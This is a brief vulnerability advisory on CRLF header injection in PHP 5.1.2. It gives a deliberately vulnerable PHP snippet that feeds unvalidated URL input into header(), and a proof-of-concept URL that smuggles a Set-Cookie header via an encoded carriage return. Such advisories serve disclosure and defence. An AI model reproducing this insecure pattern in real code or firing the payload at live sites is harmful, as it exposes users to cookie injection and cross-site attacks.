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Hacker Technology

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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/55297/info

PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL.

By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.

PHP 5.1.2 is vulnerable; other versions may also be affected. 

<?php
header('Location: '.$_GET['url']);
print_r($_COOKIE);
?>

http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo